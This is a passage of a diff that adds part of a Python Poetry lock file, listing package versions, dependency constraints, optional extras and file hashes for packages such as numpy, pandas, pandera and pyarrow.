+    {file = "hiredis-2.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:8fc7197ff33047ce43a67851ccf190acb5b05c52fd4a001bb55766358f04da68"},
+    {file = "hiredis-2.3.2-cp39-cp39-macosx_10_15_universal2.whl", hash = "sha256:f47775e27388b58ce52f4f972f80e45b13c65113e9e6b6bf60148f893871dc9b"},
+    {file = "hiredis-2.3.2-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:9412a06b8a8e09abd6313d96864b6d7713c6003a365995a5c70cfb9209df1570"},
+    {file = "hiredis-2.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3020b60e3fc96d08c2a9b011f1c2e2a6bdcc09cb55df93c509b88be5cb791df"},
+    {file = "hiredis-2.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:53d0f2c59bce399b8010a21bc779b4f8c32d0f582b2284ac8c98dc7578b27bc4"},
+    {file = "hiredis-2.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:57c0d0c7e308ed5280a4900d4468bbfec51f0e1b4cde1deae7d4e639bc6b7766"},
+    {file = "hiredis-2.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1d63318ca189fddc7e75f6a4af8eae9c0545863619fb38cfba5f43e81280b286"},
+    {file = "hiredis-2.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e741ffe4e2db78a1b9dd6e5d29678ce37fbaaf65dfe132e5b82a794413302ef1"},
+    {file = "hiredis-2.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eb98038ccd368e0d88bd92ee575c58cfaf33e77f788c36b2a89a84ee1936dc6b"},
+    {file = "hiredis-2.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:eae62ed60d53b3561148bcd8c2383e430af38c0deab9f2dd15f8874888ffd26f"},
+    {file = "hiredis-2.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:ca33c175c1cf60222d9c6d01c38fc17ec3a484f32294af781de30226b003e00f"},
+    {file = "hiredis-2.3.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:0c5f6972d2bdee3cd301d5c5438e31195cf1cabf6fd9274491674d4ceb46914d"},
+    {file = "hiredis-2.3.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:a6b54dabfaa5dbaa92f796f0c32819b4636e66aa8e9106c3d421624bd2a2d676"},
+    {file = "hiredis-2.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e96cd35df012a17c87ae276196ea8f215e77d6eeca90709eb03999e2d5e3fd8a"},
+    {file = "hiredis-2.3.2-cp39-cp39-win32.whl", hash = "sha256:63b99b5ea9fe4f21469fb06a16ca5244307678636f11917359e3223aaeca0b67"},
+    {file = "hiredis-2.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:a50c8af811b35b8a43b1590cf890b61ff2233225257a3cad32f43b3ec7ff1b9f"},
+    {file = "hiredis-2.3.2-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7e8bf4444b09419b77ce671088db9f875b26720b5872d97778e2545cd87dba4a"},
+    {file = "hiredis-2.3.2-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5bd42d0d45ea47a2f96babd82a659fbc60612ab9423a68e4a8191e538b85542a"},
+    {file = "hiredis-2.3.2-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:80441b55edbef868e2563842f5030982b04349408396e5ac2b32025fb06b5212"},
+    {file = "hiredis-2.3.2-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ec444ab8f27562a363672d6a7372bc0700a1bdc9764563c57c5f9efa0e592b5f"},
+    {file = "hiredis-2.3.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f9f606e810858207d4b4287b4ef0dc622c2aa469548bf02b59dcc616f134f811"},
+    {file = "hiredis-2.3.2-pp37-pypy37_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c3dde4ca00fe9eee3b76209711f1941bb86db42b8a75d7f2249ff9dfc026ab0e"},
+    {file = "hiredis-2.3.2-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4dd676107a1d3c724a56a9d9db38166ad4cf44f924ee701414751bd18a784a0"},
+    {file = "hiredis-2.3.2-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce42649e2676ad783186264d5ffc788a7612ecd7f9effb62d51c30d413a3eefe"},
+    {file = "hiredis-2.3.2-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8e3f8b1733078ac663dad57e20060e16389a60ab542f18a97931f3a2a2dd64a4"},
+    {file = "hiredis-2.3.2-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:532a84a82156a82529ec401d1c25d677c6543c791e54a263aa139541c363995f"},
+    {file = "hiredis-2.3.2-pp38-pypy38_pp73-macosx_10_15_x86_64.whl", hash = "sha256:4d59f88c4daa36b8c38e59ac7bffed6f5d7f68eaccad471484bf587b28ccc478"},
+    {file = "hiredis-2.3.2-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a91a14dd95e24dc078204b18b0199226ee44644974c645dc54ee7b00c3157330"},
+    {file = "hiredis-2.3.2-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb777a38797c8c7df0444533119570be18d1a4ce5478dffc00c875684df7bfcb"},
+    {file = "hiredis-2.3.2-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d47c915897a99d0d34a39fad4be97b4b709ab3d0d3b779ebccf2b6024a8c681e"},
+    {file = "hiredis-2.3.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:333b5e04866758b11bda5f5315b4e671d15755fc6ed3b7969721bc6311d0ee36"},
+    {file = "hiredis-2.3.2-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c8937f1100435698c18e4da086968c4b5d70e86ea718376f833475ab3277c9aa"},
+    {file = "hiredis-2.3.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa45f7d771094b8145af10db74704ab0f698adb682fbf3721d8090f90e42cc49"},
+    {file = "hiredis-2.3.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33d5ebc93c39aed4b5bc769f8ce0819bc50e74bb95d57a35f838f1c4378978e0"},
+    {file = "hiredis-2.3.2-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a797d8c7df9944314d309b0d9e1b354e2fa4430a05bb7604da13b6ad291bf959"},
+    {file = "hiredis-2.3.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:e15a408f71a6c8c87b364f1f15a6cd9c1baca12bbc47a326ac8ab99ec7ad3c64"},
+    {file = "hiredis-2.3.2.tar.gz", hash = "sha256:733e2456b68f3f126ddaf2cd500a33b25146c3676b97ea843665717bda0c5d43"},
+]
+
+[[package]]
+name = "joblib"
+version = "1.3.2"
+description = "Lightweight pipelining with Python functions"
+optional = false
+python-versions = ">=3.7"
+files = [
+    {file = "joblib-1.3.2-py3-none-any.whl", hash = "sha256:ef4331c65f239985f3f2220ecc87db222f08fd22097a3dd5698f693875f8cbb9"},
+    {file = "joblib-1.3.2.tar.gz", hash = "sha256:92f865e621e17784e7955080b6d042489e3b8e294949cc44c6eac304f59772b1"},
+]
+
+[[package]]
+name = "multimethod"
+version = "1.11"
+description = "Multiple argument dispatching."
+optional = false
+python-versions = ">=3.9"
+files = [
+    {file = "multimethod-1.11-py3-none-any.whl", hash = "sha256:e57253f5b6d530b10696843e693c11f0dadbe299a327bd71cdf3edd0019a3853"},
+    {file = "multimethod-1.11.tar.gz", hash = "sha256:ef40713d84da4015285122a16f57bf5066cc7876b5eaf183262f3c34668c6ad3"},
+]
+
+[[package]]
+name = "mypy-extensions"
+version = "1.0.0"
+description = "Type system extensions for programs checked with the mypy type checker."
+optional = false
+python-versions = ">=3.5"
+files = [
+    {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"},
+    {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"},
+]
+
+[[package]]
+name = "numpy"
+version = "1.26.3"
+description = "Fundamental package for array computing in Python"
+optional = false
+python-versions = ">=3.9"
+files = [
+    {file = "numpy-1.26.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:806dd64230dbbfaca8a27faa64e2f414bf1c6622ab78cc4264f7f5f028fee3bf"},
+    {file = "numpy-1.26.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02f98011ba4ab17f46f80f7f8f1c291ee7d855fcef0a5a98db80767a468c85cd"},
+    {file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6d45b3ec2faed4baca41c76617fcdcfa4f684ff7a151ce6fc78ad3b6e85af0a6"},
+    {file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdd2b45bf079d9ad90377048e2747a0c82351989a2165821f0c96831b4a2a54b"},
+    {file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:211ddd1e94817ed2d175b60b6374120244a4dd2287f4ece45d49228b4d529178"},
+    {file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b1240f767f69d7c4c8a29adde2310b871153df9b26b5cb2b54a561ac85146485"},
+    {file = "numpy-1.26.3-cp310-cp310-win32.whl", hash = "sha256:21a9484e75ad018974a2fdaa216524d64ed4212e418e0a551a2d83403b0531d3"},
+    {file = "numpy-1.26.3-cp310-cp310-win_amd64.whl", hash = "sha256:9e1591f6ae98bcfac2a4bbf9221c0b92ab49762228f38287f6eeb5f3f55905ce"},
+    {file = "numpy-1.26.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b831295e5472954104ecb46cd98c08b98b49c69fdb7040483aff799a755a7374"},
+    {file = "numpy-1.26.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9e87562b91f68dd8b1c39149d0323b42e0082db7ddb8e934ab4c292094d575d6"},
+    {file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c66d6fec467e8c0f975818c1796d25c53521124b7cfb760114be0abad53a0a2"},
+    {file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f25e2811a9c932e43943a2615e65fc487a0b6b49218899e62e426e7f0a57eeda"},
+    {file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:af36e0aa45e25c9f57bf684b1175e59ea05d9a7d3e8e87b7ae1a1da246f2767e"},
+    {file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:51c7f1b344f302067b02e0f5b5d2daa9ed4a721cf49f070280ac202738ea7f00"},
+    {file = "numpy-1.26.3-cp311-cp311-win32.whl", hash = "sha256:7ca4f24341df071877849eb2034948459ce3a07915c2734f1abb4018d9c49d7b"},
+    {file = "numpy-1.26.3-cp311-cp311-win_amd64.whl", hash = "sha256:39763aee6dfdd4878032361b30b2b12593fb445ddb66bbac802e2113eb8a6ac4"},
+    {file = "numpy-1.26.3-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:a7081fd19a6d573e1a05e600c82a1c421011db7935ed0d5c483e9dd96b99cf13"},
+    {file = "numpy-1.26.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:12c70ac274b32bc00c7f61b515126c9205323703abb99cd41836e8125ea0043e"},
+    {file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7f784e13e598e9594750b2ef6729bcd5a47f6cfe4a12cca13def35e06d8163e3"},
+    {file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f24750ef94d56ce6e33e4019a8a4d68cfdb1ef661a52cdaee628a56d2437419"},
+    {file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:77810ef29e0fb1d289d225cabb9ee6cf4d11978a00bb99f7f8ec2132a84e0166"},
+    {file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8ed07a90f5450d99dad60d3799f9c03c6566709bd53b497eb9ccad9a55867f36"},
+    {file = "numpy-1.26.3-cp312-cp312-win32.whl", hash = "sha256:f73497e8c38295aaa4741bdfa4fda1a5aedda5473074369eca10626835445511"},
+    {file = "numpy-1.26.3-cp312-cp312-win_amd64.whl", hash = "sha256:da4b0c6c699a0ad73c810736303f7fbae483bcb012e38d7eb06a5e3b432c981b"},
+    {file = "numpy-1.26.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1666f634cb3c80ccbd77ec97bc17337718f56d6658acf5d3b906ca03e90ce87f"},
+    {file = "numpy-1.26.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:18c3319a7d39b2c6a9e3bb75aab2304ab79a811ac0168a671a62e6346c29b03f"},
+    {file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b7e807d6888da0db6e7e75838444d62495e2b588b99e90dd80c3459594e857b"},
+    {file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b4d362e17bcb0011738c2d83e0a65ea8ce627057b2fdda37678f4374a382a137"},
+    {file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b8c275f0ae90069496068c714387b4a0eba5d531aace269559ff2b43655edd58"},
+    {file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:cc0743f0302b94f397a4a65a660d4cd24267439eb16493fb3caad2e4389bccbb"},
+    {file = "numpy-1.26.3-cp39-cp39-win32.whl", hash = "sha256:9bc6d1a7f8cedd519c4b7b1156d98e051b726bf160715b769106661d567b3f03"},
+    {file = "numpy-1.26.3-cp39-cp39-win_amd64.whl", hash = "sha256:867e3644e208c8922a3be26fc6bbf112a035f50f0a86497f98f228c50c607bb2"},
+    {file = "numpy-1.26.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3c67423b3703f8fbd90f5adaa37f85b5794d3366948efe9a5190a5f3a83fc34e"},
+    {file = "numpy-1.26.3-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46f47ee566d98849323f01b349d58f2557f02167ee301e5e28809a8c0e27a2d0"},
+    {file = "numpy-1.26.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a8474703bffc65ca15853d5fd4d06b18138ae90c17c8d12169968e998e448bb5"},
+    {file = "numpy-1.26.3.tar.gz", hash = "sha256:697df43e2b6310ecc9d95f05d5ef20eacc09c7c4ecc9da3f235d39e71b7da1e4"},
+]
+
+[[package]]
+name = "packaging"
+version = "23.2"
+description = "Core utilities for Python packages"
+optional = false
+python-versions = ">=3.7"
+files = [
+    {file = "packaging-23.2-py3-none-any.whl", hash = "sha256:8c491190033a9af7e1d931d0b5dacc2ef47509b34dd0de67ed209b5203fc88c7"},
+    {file = "packaging-23.2.tar.gz", hash = "sha256:048fb0e9405036518eaaf48a55953c750c11e1a1b68e0dd1a9d62ed0c092cfc5"},
+]
+
+[[package]]
+name = "pandas"
+version = "2.2.0"
+description = "Powerful data structures for data analysis, time series, and statistics"
+optional = false
+python-versions = ">=3.9"
+files = [
+    {file = "pandas-2.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:8108ee1712bb4fa2c16981fba7e68b3f6ea330277f5ca34fa8d557e986a11670"},
+    {file = "pandas-2.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:736da9ad4033aeab51d067fc3bd69a0ba36f5a60f66a527b3d72e2030e63280a"},
+    {file = "pandas-2.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38e0b4fc3ddceb56ec8a287313bc22abe17ab0eb184069f08fc6a9352a769b18"},
+    {file = "pandas-2.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20404d2adefe92aed3b38da41d0847a143a09be982a31b85bc7dd565bdba0f4e"},
+    {file = "pandas-2.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:7ea3ee3f125032bfcade3a4cf85131ed064b4f8dd23e5ce6fa16473e48ebcaf5"},
+    {file = "pandas-2.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:f9670b3ac00a387620489dfc1bca66db47a787f4e55911f1293063a78b108df1"},
+    {file = "pandas-2.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:5a946f210383c7e6d16312d30b238fd508d80d927014f3b33fb5b15c2f895430"},
+    {file = "pandas-2.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a1b438fa26b208005c997e78672f1aa8138f67002e833312e6230f3e57fa87d5"},
+    {file = "pandas-2.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8ce2fbc8d9bf303ce54a476116165220a1fedf15985b09656b4b4275300e920b"},
+    {file = "pandas-2.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2707514a7bec41a4ab81f2ccce8b382961a29fbe9492eab1305bb075b2b1ff4f"},
+    {file = "pandas-2.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:85793cbdc2d5bc32620dc8ffa715423f0c680dacacf55056ba13454a5be5de88"},
+    {file = "pandas-2.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:cfd6c2491dc821b10c716ad6776e7ab311f7df5d16038d0b7458bc0b67dc10f3"},
+    {file = "pandas-2.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a146b9dcacc3123aa2b399df1a284de5f46287a4ab4fbfc237eac98a92ebcb71"},
+    {file = "pandas-2.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:fbc1b53c0e1fdf16388c33c3cca160f798d38aea2978004dd3f4d3dec56454c9"},
+    {file = "pandas-2.2.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:a41d06f308a024981dcaa6c41f2f2be46a6b186b902c94c2674e8cb5c42985bc"},
+    {file = "pandas-2.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:159205c99d7a5ce89ecfc37cb08ed179de7783737cea403b295b5eda8e9c56d1"},
+    {file = "pandas-2.2.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eb1e1f3861ea9132b32f2133788f3b14911b68102d562715d71bd0013bc45440"},
+    {file = "pandas-2.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:761cb99b42a69005dec2b08854fb1d4888fdf7b05db23a8c5a099e4b886a2106"},
+    {file = "pandas-2.2.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:a20628faaf444da122b2a64b1e5360cde100ee6283ae8effa0d8745153809a2e"},
+    {file = "pandas-2.2.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:f5be5d03ea2073627e7111f61b9f1f0d9625dc3c4d8dda72cc827b0c58a1d042"},
+    {file = "pandas-2.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:a626795722d893ed6aacb64d2401d017ddc8a2341b49e0384ab9bf7112bdec30"},
+    {file = "pandas-2.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9f66419d4a41132eb7e9a73dcec9486cf5019f52d90dd35547af11bc58f8637d"},
+    {file = "pandas-2.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:57abcaeda83fb80d447f28ab0cc7b32b13978f6f733875ebd1ed14f8fbc0f4ab"},
+    {file = "pandas-2.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e60f1f7dba3c2d5ca159e18c46a34e7ca7247a73b5dd1a22b6d59707ed6b899a"},
+    {file = "pandas-2.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb61dc8567b798b969bcc1fc964788f5a68214d333cade8319c7ab33e2b5d88a"},
+    {file = "pandas-2.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:52826b5f4ed658fa2b729264d63f6732b8b29949c7fd234510d57c61dbeadfcd"},
+    {file = "pandas-2.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:bde2bc699dbd80d7bc7f9cab1e23a95c4375de615860ca089f34e7c64f4a8de7"},
+    {file = "pandas-2.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:3de918a754bbf2da2381e8a3dcc45eede8cd7775b047b923f9006d5f876802ae"},
+    {file = "pandas-2.2.0.tar.gz", hash = "sha256:30b83f7c3eb217fb4d1b494a57a2fda5444f17834f5df2de6b2ffff68dc3c8e2"},
+]
+
+[package.dependencies]
+numpy = {version = ">=1.23.2,<2", markers = "python_version == \"3.11\""}
+python-dateutil = ">=2.8.2"
+pytz = ">=2020.1"
+tzdata = ">=2022.7"
+
+[package.extras]
+all = ["PyQt5 (>=5.15.9)", "SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "adbc-driver-sqlite (>=0.8.0)", "beautifulsoup4 (>=4.11.2)", "bottleneck (>=1.3.6)", "dataframe-api-compat (>=0.1.7)", "fastparquet (>=2022.12.0)", "fsspec (>=2022.11.0)", "gcsfs (>=2022.11.0)", "html5lib (>=1.1)", "hypothesis (>=6.46.1)", "jinja2 (>=3.1.2)", "lxml (>=4.9.2)", "matplotlib (>=3.6.3)", "numba (>=0.56.4)", "numexpr (>=2.8.4)", "odfpy (>=1.4.1)", "openpyxl (>=3.1.0)", "pandas-gbq (>=0.19.0)", "psycopg2 (>=2.9.6)", "pyarrow (>=10.0.1)", "pymysql (>=1.0.2)", "pyreadstat (>=1.2.0)", "pytest (>=7.3.2)", "pytest-xdist (>=2.2.0)", "python-calamine (>=0.1.7)", "pyxlsb (>=1.0.10)", "qtpy (>=2.3.0)", "s3fs (>=2022.11.0)", "scipy (>=1.10.0)", "tables (>=3.8.0)", "tabulate (>=0.9.0)", "xarray (>=2022.12.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.5)", "zstandard (>=0.19.0)"]
+aws = ["s3fs (>=2022.11.0)"]
+clipboard = ["PyQt5 (>=5.15.9)", "qtpy (>=2.3.0)"]
+compression = ["zstandard (>=0.19.0)"]
+computation = ["scipy (>=1.10.0)", "xarray (>=2022.12.0)"]
+consortium-standard = ["dataframe-api-compat (>=0.1.7)"]
+excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.1.0)", "python-calamine (>=0.1.7)", "pyxlsb (>=1.0.10)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.5)"]
+feather = ["pyarrow (>=10.0.1)"]
+fss = ["fsspec (>=2022.11.0)"]
+gcp = ["gcsfs (>=2022.11.0)", "pandas-gbq (>=0.19.0)"]
+hdf5 = ["tables (>=3.8.0)"]
+html = ["beautifulsoup4 (>=4.11.2)", "html5lib (>=1.1)", "lxml (>=4.9.2)"]
+mysql = ["SQLAlchemy (>=2.0.0)", "pymysql (>=1.0.2)"]
+output-formatting = ["jinja2 (>=3.1.2)", "tabulate (>=0.9.0)"]
+parquet = ["pyarrow (>=10.0.1)"]
+performance = ["bottleneck (>=1.3.6)", "numba (>=0.56.4)", "numexpr (>=2.8.4)"]
+plot = ["matplotlib (>=3.6.3)"]
+postgresql = ["SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "psycopg2 (>=2.9.6)"]
+spss = ["pyreadstat (>=1.2.0)"]
+sql-other = ["SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "adbc-driver-sqlite (>=0.8.0)"]
+test = ["hypothesis (>=6.46.1)", "pytest (>=7.3.2)", "pytest-xdist (>=2.2.0)"]
+xml = ["lxml (>=4.9.2)"]
+
+[[package]]
+name = "pandera"
+version = "0.18.0"
+description = "A light-weight and flexible data validation and testing tool for statistical data objects."
+optional = false
+python-versions = ">=3.7"
+files = [
+    {file = "pandera-0.18.0-py3-none-any.whl", hash = "sha256:fe2da835a16df5a7e49fbfb828f1eeaea9d6f4534f124630957e64fef53e7e73"},
+    {file = "pandera-0.18.0.tar.gz", hash = "sha256:97ab33d884362c0bb99668a12be2855d15c1a71f4934c588a999947b47764bc1"},
+]
+
+[package.dependencies]
+multimethod = "*"
+numpy = ">=1.19.0"
+packaging = ">=20.0"
+pandas = ">=1.2.0"
+pydantic = "*"
+typeguard = ">=3.0.2"
+typing-inspect = ">=0.6.0"
+wrapt = "*"
+
+[package.extras]
+all = ["black", "dask", "fastapi", "frictionless (<=4.40.8)", "geopandas", "hypothesis (>=5.41.1)", "modin", "pandas-stubs", "pyspark (>=3.2.0)", "pyyaml (>=5.1)", "ray", "scipy", "shapely"]
+dask = ["dask"]
+fastapi = ["fastapi"]
+geopandas = ["geopandas", "shapely"]
+hypotheses = ["scipy"]
+io = ["black", "frictionless (<=4.40.8)", "pyyaml (>=5.1)"]
+modin = ["dask", "modin", "ray"]
+modin-dask = ["dask", "modin"]
+modin-ray = ["modin", "ray"]
+mypy = ["pandas-stubs"]
+pyspark = ["pyspark (>=3.2.0)"]
+strategies = ["hypothesis (>=5.41.1)"]
+
+[[package]]
+name = "plumbum"
+version = "1.8.2"
+description = "Plumbum: shell combinators library"
+optional = false
+python-versions = ">=3.6"
+files = [
+    {file = "plumbum-1.8.2-py3-none-any.whl", hash = "sha256:3ad9e5f56c6ec98f6f7988f7ea8b52159662ea9e915868d369dbccbfca0e367e"},
+    {file = "plumbum-1.8.2.tar.gz", hash = "sha256:9e6dc032f4af952665f32f3206567bc23b7858b1413611afe603a3f8ad9bfd75"},
+]
+
+[package.dependencies]
+pywin32 = {version = "*", markers = "platform_system == \"Windows\" and platform_python_implementation != \"PyPy\""}
+
+[package.extras]
+dev = ["paramiko", "psutil", "pytest (>=6.0)", "pytest-cov", "pytest-mock", "pytest-timeout"]
+docs = ["sphinx (>=4.0.0)", "sphinx-rtd-theme (>=1.0.0)"]
+ssh = ["paramiko"]
+
+[[package]]
+name = "pyarrow"
+version = "15.0.0"
+description = "Python library for Apache Arrow"
+optional = false
+python-versions = ">=3.8"
+files = [
+    {file = "pyarrow-15.0.0-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:0a524532fd6dd482edaa563b686d754c70417c2f72742a8c990b322d4c03a15d"},
+    {file = "pyarrow-15.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:60a6bdb314affa9c2e0d5dddf3d9cbb9ef4a8dddaa68669975287d47ece67642"},
+    {file = "pyarrow-15.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:66958fd1771a4d4b754cd385835e66a3ef6b12611e001d4e5edfcef5f30391e2"},
+    {file = "pyarrow-15.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f500956a49aadd907eaa21d4fff75f73954605eaa41f61cb94fb008cf2e00c6"},
+    {file = "pyarrow-15.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:6f87d9c4f09e049c2cade559643424da84c43a35068f2a1c4653dc5b1408a929"},
+    {file = "pyarrow-15.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:85239b9f93278e130d86c0e6bb455dcb66fc3fd891398b9d45ace8799a871a1e"},
+    {file = "pyarrow-15.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:5b8d43e31ca16aa6e12402fcb1e14352d0d809de70edd185c7650fe80e0769e3"},
+    {file = "pyarrow-15.0.0-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:fa7cd198280dbd0c988df525e50e35b5d16873e2cdae2aaaa6363cdb64e3eec5"},
+    {file = "pyarrow-15.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8780b1a29d3c8b21ba6b191305a2a607de2e30dab399776ff0aa09131e266340"},
+    {file = "pyarrow-15.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fe0ec198ccc680f6c92723fadcb97b74f07c45ff3fdec9dd765deb04955ccf19"},
+    {file = "pyarrow-15.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:036a7209c235588c2f07477fe75c07e6caced9b7b61bb897c8d4e52c4b5f9555"},
